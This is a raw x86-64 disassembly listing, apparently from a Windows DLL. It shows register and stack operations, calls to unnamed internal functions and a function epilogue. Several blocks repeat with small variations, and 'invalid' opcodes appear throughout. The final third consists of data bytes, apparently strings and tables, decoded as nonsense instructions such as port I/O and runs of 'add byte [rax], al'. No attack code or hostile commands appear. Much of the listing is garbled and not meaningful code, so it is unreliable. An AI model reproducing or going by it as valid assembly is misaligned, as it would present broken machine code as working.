lea rbx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067e00
test dh, dh
add al, byte [rax]
invalid
test dh, dh
add al, byte [rax]
add byte [rax - 0x75], cl
push rsp
and al, 0x50
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
shl r14, 3
shl rbx, 3
lea r15, [rsp + 0x70]
lea r12, [rsp + 0x28]
cmp rbx, r14
je 0x180067c78
mov rax, qword [r13 + r14]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 6
mov rcx, r15
mov rdx, r12
call fcn.180067e31
add r14, 8
invalid
or bl, ch
xlatb
invalid
lea ebx, [rsp + 0x48]
mov esi, dword [rbx + 4]
lea r8, [rsp + 0x68]
mov rcx, rbx
mov rdx, r15
call fcn.180067f2f
cmp qword [rbx], 0
je 0x180067e0f
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x28]
call fcn.180067f52
mov al, byte [rsp + 0x28]
cmp al, 0x12
jne 0x180067cb0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov esi, dword [rsp + 0x44]
inc esi
movsxd rbx, esi
movsxd r14, ebp
cmp r14d, ebx
ja 0x180067e1e
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
mov qword [rdi + 0x18], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rdi + 8], xmm0
mov byte [rdi], 0x12
lea rsi, [rsp + 0x28]
mov rcx, rsi
mov rdx, qword [rsp + 0x60]
call fcn.180067ea1
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.180063a9a
jmp 0x180067cec
mov ecx, dword [rsp + 0x29]
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x23], edx
mov dword [rsp + 0x20], ecx
movups xmm0, xmmword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov byte [rdi], al
mov eax, dword [rsp + 0x20]
mov edx, dword [rsp + 0x23]
mov dword [rdi + 1], eax
mov dword [rdi + 4], edx
movups xmmword [rdi + 8], xmm0
mov qword [rdi + 0x18], rcx
lea rcx, [rsp + 0x70]
call case.0x180046f5f.345
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rdi], 0x10
jmp 0x180067cec
mov ecx, dword [rsp + 0x29]
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x8b], edx
mov dword [rsp + 0x88], ecx
movups xmm0, xmmword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov byte [rdi], al
mov eax, dword [rsp + 0x88]
mov edx, dword [rsp + 0x8b]
jmp 0x180067cd4
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x90]
mov qword [rcx + 0x18], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rcx + 8], xmm0
mov byte [rcx], 0x12
mov rcx, qword [rsp + 0x60]
call fcn.180067e7b
jmp 0x180067cec
mov rax, qword [rsp + 0x90]
mov byte [rax], 8
mov rcx, qword [rsp + 0x60]
call fcn.180067e7b
jmp 0x180067ce2
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x180067392
mov rbp, qword [rsp + 0x68]
jmp 0x18006747f
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x1800675b1
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x180067697
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x1800672a3
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x18006778a
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x18006787d
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x18006796c
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x180067a52
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x180067b41
mov qword [rsp + 0x60], r15
mov r13, qword [rsp + 0x68]
jmp 0x180067c31
lea r8, [0x1800817e8]
mov rcx, r14
mov rdx, rbx
call fcn.180069790
int3
insd dword [rdi], dx
jo 0x18008178b
jns 0x180081762
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x18008177d
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x69], 0x50746967
push rax
push rax
outsd dx, dword [rsi]
jae 0x180081777
jbe 0x18008178f
jb 0x180081792
jbe 0x18008179a
jb 0x18008179d
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x180081795
pop rdx
pop rdx
jb 0x1800817ad
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
imul eax, dword [rax], 0x180
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, bl
xor al, byte [rsi]
add byte [rcx], 0
add byte [rax], al
xchg dword [rsi + 0x737fdc12], esp
adc bl, ah
jg 0x1800817d9
iretd
invalid
invalid
add byte [rcx], dl
clc
nop
cmp r11b, byte [0x19f912966]
add byte [rdx + 0x242e4b00], ch
and al, 0x72
invalid
invalid
and al, 0x72
imul esi, dword gs:[ebx + 0x74], 0x5c797265
imul esi, dword [ebx + 0x74], 0x5c797265
jae 0x18008181a
invalid
js 0x1800817de
invalid
pop rsp
jae 0x18008183d
invalid
invalid
jb 0x180081874
invalid
jb 0x180081881
invalid
add byte [rax], al
add byte [rsi + 0x61], dl
push rsi
invalid
insb byte [rdi], dx
jne 0x1800818aa
and byte [rax], ah
invalid
add byte [rax], al
add byte [rax], al
sbb byte [rax], r9b
add byte [rcx], 0
add byte [rax], al
and dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [r10 + 0x6f], spl
outsd dx, dword [rsi]
insb byte [rdi], dx
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x20], al
invalid
invalid
invalid
and byte [rcx + 0x6e], ch
je 0x18008191e